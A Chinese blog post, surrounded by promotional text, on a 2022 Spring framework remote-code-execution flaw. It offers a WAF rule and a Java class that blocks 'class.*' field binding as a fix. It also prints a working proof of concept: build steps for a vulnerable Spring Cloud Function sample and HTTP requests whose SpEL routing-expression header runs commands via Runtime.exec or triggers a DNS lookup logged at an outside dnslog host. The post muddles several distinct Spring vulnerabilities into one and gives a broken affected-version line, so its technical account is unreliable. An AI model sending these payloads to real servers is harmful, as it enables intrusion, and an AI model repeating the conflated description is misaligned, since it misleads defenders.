Java基础、中级、高级、架构面试资料

Spring框架被爆RCE 0day高危漏洞!附修复教程!

JAVA herman 1165浏览
公告:“业余草”微信公众号提供免费CSDN下载服务(只下Java资源),关注业余草微信公众号,添加作者微信:xttblog2,发送下载链接帮助你免费下载!
本博客日IP超过2000,PV 3000 左右,急需赞助商。
极客时间所有课程通过我的二维码购买后返现24元微信红包,请加博主新的微信号:xttblog2,之前的微信号好友位已满,备注:返现
受密码保护的文章请关注“业余草”公众号,回复关键字“0”获得密码
所有面试题(java、前端、数据库、springboot等)一网打尽,请关注文末小程序
视频教程免费领
腾讯云】1核2G5M轻量应用服务器50元首年,高性价比,助您轻松上云

上海最近疫情严重,建议大家减少外出,做好防护!

今天早上,一大早,微信群里就有人@我,说 Spring 出现新漏洞了。

Spring框架JNDI注入漏洞
Spring框架JNDI注入漏洞

于是我就上了 Spring 官网,以及 maven 仓库去查找相关信息。

目前国内对这个漏洞消息传播的比较少,外网疯传!

根据我查阅的资料得知,该漏洞为 2022 年 3 月 29 日被发现。

Spring 框架曝出 RCE 0day 漏洞。已经证实由于 SerializationUtils#deserialize 基于 Java 的序列化机制,可导致远程代码执行 (RCE),使用 JDK9 及以上版本皆有可能受到影响。

我们项目目前使用的是 JDK8,我本地暂时没有重现。

目前广东省网络安全应急响应中心连夜发布预警通知,考虑到Spring框架的广泛应用,该漏洞被评级为:危险。

漏洞描述

Spring 作为目前全球最受欢迎的 Java 轻量级开源框架,Spring 允许开发人员专注于业务逻辑,简化 Java 企业级应用的开发周期。

据我所知,目前国内的 Java 项目,几乎都使用 Spring 框架。

但在 Spring 框架的 JDK9 版本(及以上版本)中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取 AccessLogValve 对象并诸如恶意字段值,从而触发 pipeline 机制并写入任意路径下的文件。

根据我查阅的资料得知,触发该漏洞需要满足两个基本条件:

  • 使用 JDK9 及以上版本的 Spring 框架
  • Spring 框架以及衍生的框架 spring-beans-*.jar 文件或者存在 CachedIntrospectionResults.class
CachedIntrospectionResults
CachedIntrospectionResults

漏洞影响范围

  • JDK9 <= Spring Cloud Function

不确定自己 JDK 版本的可以执行java-version命令可查看 JDK 版本。

java -version
java version "1.8.0_211"
Java(TM) SE Runtime Environment (build 1.8.0_211-b12)
Java HotSpot(TM) 64-Bit Server VM (build 25.211-b12, mixed mode)

漏洞 POC

截止我发稿时间,该漏洞的 RCE EXP POC 的阅读量已经达到了 1700491。

RCE EXP POC
RCE EXP POC

漏洞测试关键代码:

spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("open -a calculator.app")

完整 POC 案例代码使用如下:

wget https://github.com/spring-cloud/spring-cloud-function/archive/refs/tags/v3.1.6.zipunzip v3.1.6.zipcd spring-cloud-function-3.1.6cd spring-cloud-function-samples/function-sample-pojomvn packagejava -jar ./target/function-sample-pojo-2.0.0.RELEASE.jar

然后执行下面的命令,获取可以请求的执行 path 路径。

find . -name "*.java"|xargs -I % cat %|grep -Eo '"([^" \.\/=>\|,:\}\+\)'"'"']{8,})"'|sort -u|sed 's/"//g'

输出内容可能如下:

...
functionRouter
uppercase
lowercase
...

然后发送请求。

Spring框架JNDI注入漏洞
Spring框架JNDI注入漏洞

Spring 框架 JNDI 注入漏洞 POC 案例:

POST /functionRouter HTTP/1.1host:127.0.0.1:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15Connection: closespring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("open -a /System/Applications/Calculator.app")Content-Length: 5

成功调用起了计算器 app。

Spring框架JNDI注入漏洞POC
Spring框架JNDI注入漏洞POC

下面我们再看另外一个 POC 案例:

POST /functionRouter HTTP/1.1host:127.0.0.1:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15Connection: closespring.cloud.function.routing-expression:T(java.net.InetAddress).getByName("baidu.com")Content-Length: 5

类似下面的效果:

curl -v 'https://51pwn.com/dnslog?q=baidu.com'

漏洞修复方案

漏洞修复方案1:WAF 临时策略

在 WAF 等网络防护设备上,根据实际部署业务的流量情况,实现对:

“class.*”,“Class.*”,“*.class.*”,“*.Class.*”

等字符串的规则过滤,并在部署过滤规则后,对业务允许情况进行测试,避免产生额外影响。

临时方案2:临时缓解措施

在应用系统的项目包下新建以下全局类,并保证这个类被 Spring 加载到(推荐在 Controller 所在的包中添加)。完成类添加后,需对项目进行重新编译打包和功能验证测试。并重新发布项目。

import org.springframework.core.annotation.Order;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.bind.annotation.InitBinder;

@ControllerAdvice
@Order(10000)
public class Xttblog{
  @InitBinder
  public void setAllowedFields(WebDataBinder dataBinder) {
    String[] claArr = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
    dataBinder.setDisallowedFields(claArr);
  }
}
RCE漏洞
RCE漏洞

如需本文中的漏洞测试工具可以到https://portswigger.net/burp/releases进行下载!

业余草公众号

最后,欢迎关注我的个人微信公众号:业余草(yyucao)!可加作者微信号:xttblog2。备注:“1”,添加博主微信拉你进微信群。备注错误不会同意好友申请。再次感谢您的关注!后续有精彩内容会第一时间发给您!原创文章投稿请发送至532009913@qq.com邮箱。商务合作也可添加作者微信进行联系!

本文原文出处:业余草: » Spring框架被爆RCE 0day高危漏洞!附修复教程!